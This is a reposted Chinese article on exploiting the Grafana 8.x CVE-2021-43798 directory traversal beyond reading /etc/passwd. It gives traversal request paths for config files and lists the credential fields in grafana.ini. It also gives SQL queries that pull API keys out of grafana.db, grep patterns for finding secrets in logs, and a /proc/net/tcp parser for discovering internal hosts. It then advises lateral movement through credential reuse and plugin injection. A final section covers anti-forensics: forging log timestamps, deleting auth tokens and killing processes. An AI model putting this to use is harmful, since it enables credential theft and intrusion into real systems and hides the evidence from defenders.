当前位置: 首页 > news >正文

Grafana 8.x 目录遍历漏洞(CVE-2021-43798)深度利用:除了/etc/passwd,你还能读到哪些关键配置文件?

Grafana 8.x 目录遍历漏洞(CVE-2021-43798)高阶利用:从敏感文件定位到横向渗透的完整路径

当大多数渗透测试者还在通过CVE-2021-43798读取/etc/passwd时,真正的红队成员已经开始利用这个漏洞绘制整个Grafana生态系统的攻击面地图。本文将揭示如何将这个看似简单的目录遍历漏洞转化为企业内网渗透的跳板。

1. 漏洞利用的进阶起点:超越基础文件读取

传统漏洞复现往往止步于获取/etc/passwd证明漏洞存在,但在实际红队作战中,我们需要建立更系统的文件枚举策略。Grafana的安装特性决定了其关键文件通常分布在以下路径:

/usr/share/grafana/conf/defaults.ini # 默认配置模板 /etc/grafana/grafana.ini # 主配置文件 /var/lib/grafana/grafana.db # SQLite数据库 /var/log/grafana/grafana.log # 应用日志 /home/grafana/.bash_history # 历史命令记录

关键技巧:通过组合../的数量差异来适应不同环境。例如:

GET /public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini GET /public/plugins/alertlist/../../../../../../../../../usr/share/grafana/conf/defaults.ini

2. 配置文件深度解析:从信息收集到凭据获取

grafana.ini文件是攻击者的金矿,其典型高价值字段包括:

配置节关键参数攻击价值
[database]password, url数据库直接访问凭据
[security]secret_key, admin_password会话伪造与管理员账户劫持
[smtp]user, password邮件服务器凭据重用
[auth.ldap]bind_password企业域认证凭据泄露

实战案例:当发现数据库配置为PostgreSQL时,可尝试以下攻击链:

  1. 通过grafana.ini获取数据库连接字符串
  2. 使用psql直接连接并执行SQL查询
  3. dashboard表提取保存的API密钥和敏感数据

3. 数据库文件分析与利用技巧

grafana.db作为SQLite数据库,包含多个关键表:

-- 获取所有保存的数据源配置 SELECT * FROM data_source; -- 提取仪表板中的敏感注释 SELECT title, data FROM dashboard WHERE data LIKE '%password%'; -- 查询用户API密钥 SELECT name, key FROM api_key WHERE expires > datetime('now');

高级技巧:当遇到数据库被锁定时,可以:

  1. 下载整个数据库文件到本地分析
  2. 使用sqlite3 grafana.db ".dump" > dump.sql导出数据
  3. 搜索加密字段时注意Base64编码内容

4. 日志与临时文件中的攻击线索

Grafana日志文件往往被忽视,却可能包含:

  • 管理员操作记录(包含敏感参数)
  • 插件加载错误(暴露路径信息)
  • 第三方服务集成错误(包含API密钥)

典型日志路径:

/var/log/grafana/grafana.log /var/lib/grafana/data/log/*.log /tmp/grafana-*.log

日志分析模式

# 查找可能的凭据泄露 grep -iE "password|secret|key|token" grafana.log # 提取外部服务连接信息 grep -i "http://\|https://" grafana.log | awk '{print $NF}'

5. 横向移动:从Grafana到内网渗透

获得Grafana资产后,红队应建立以下攻击矩阵:

  1. 凭据重用攻击

    • 测试数据库密码是否适用于其他服务
    • 检查SMTP凭据是否可用于邮件服务器渗透
  2. 插件供应链攻击

    • 分析/var/lib/grafana/plugins/目录结构
    • 查找可写的插件目录注入恶意代码
  3. 服务发现

    • 从配置文件中提取内部API端点
    • 利用/proc/net/tcp发现内网连接
# 自动化提取内网IP的Python示例 import re with open('/proc/net/tcp') as f: ips = set(re.findall(r'[0-9A-F]{8}', f.read())) print({f"{int(ip[:2],16)}.{int(ip[2:4],16)}.{int(ip[4:6],16)}.{int(ip[6:8],16)}" for ip in ips if not ip.startswith('7F')})

6. 痕迹清除与反取证策略

专业红队操作需考虑:

  • 修改日志文件时间戳:
    touch -d "2023-01-01 00:00:00" /var/log/grafana/grafana.log
  • 数据库操作痕迹清理:
    DELETE FROM user_auth_token WHERE created < datetime('now','-1 day');
  • 内存中残留进程处理:
    pkill -f grafana-server && /bin/true

在最近一次内部红队演练中,我们通过Grafana漏洞成功获取了AWS访问密钥,这些密钥被意外保存在一个已删除但未清空的数据库页面中。这再次证明,深度文件分析往往能发现意外收获。

http://www.rkmt.cn/news/1491295.html

相关文章:

  • 从‘我的世界’到‘赛博朋克’:手把手教你用Three.js写一个最简单的Whitted光线追踪渲染器
  • 北京链家+安居客二手房数据实战包:含爬虫源码、清洗代码、多模型预测与可视化报告
  • 济宁黄金回收实测 六家门店横向对比与避坑全指南 - 润富黄金回收
  • 从水箱报警到花盆浇水:用一个LM393窗口比较器电路玩转多种水位监控DIY项目
  • Mythos漏洞挖掘模型:可规模化自主渗透测试的工程实践
  • 人机共生:我们如何与数百万个 Agent 共存
  • Claude 3.5原生能力如何让LLM网关层归零
  • 2026年ASPICE软件认证全流程拆解:从评估到拿证实操推荐 - 优质品牌商家
  • 聊城黄金回收实测 六家门店横向评测附避坑指南 - 润富黄金回收
  • Proteus 8.6 超声波测距仿真避坑指南:解决Echo引脚逻辑争用,让1602正常显示距离
  • AI让创造免费,判断变得昂贵
  • 华夫饼图实战指南:用10×10网格实现高感知占比可视化
  • 开源 AI 工具链开发:插件化架构与可扩展性设计
  • Simulink数据字典变量批量迁移指南:从Simulink.Parameter到自定义Storage Class
  • 别再硬改CSS了!Element Plus el-table 样式自定义的5个高效技巧(附Vue3 + Vite配置)
  • 2026年广州白酒回收正规机构排行及实用参考 - 优质品牌商家
  • 2026年6月市场质感好的链管输送生产厂家推荐,单轴螺带混合机/真石漆螺带混合机/螺带混合机,链管输送品牌口碑推荐 - 品牌推荐师
  • 树莓派Raspberry Pi 4B + TFmini-S雷达:5步搞定Python环境下的实时测距与数据可视化
  • VCS仿真卡顿?试试这个FSDB+Verdi的黄金组合,让你的波形调试快人一步
  • RK3588显示子系统实战:如何用DTS灵活配置HDMI、DP、MIPI多屏异显与图层分配
  • 从手机快充到电车驱动:聊聊功率MOSFET这个“万能开关”的选型实战
  • 数字孪生落地核心:数据可信性、运行时模型与服务闭环
  • 【延安各区黄金回收门店大盘点 正规渠道实测】 - 润富黄金回收
  • ML模型生产化落地:从Notebook到稳定服务的实战路径
  • LLM四大落地路径:Prompt、函数调用、RAG与微调的选型决策指南
  • 【延安黄金奢侈品回收 六大门店实地测评与变现攻略】 - 润富黄金回收
  • 多维数据聚合:从GROUP BY到OLAP立方体的工程实践
  • 用Matlab搞定数学建模:从濒危物种到汽车租赁,手把手教你玩转差分方程
  • 从8253的M法到你的第一个数字频率计:微机原理课设核心思路拆解
  • 从AR项目实战复盘:我们是如何用QuickOutline插件优化物体高亮逻辑,提升用户体验的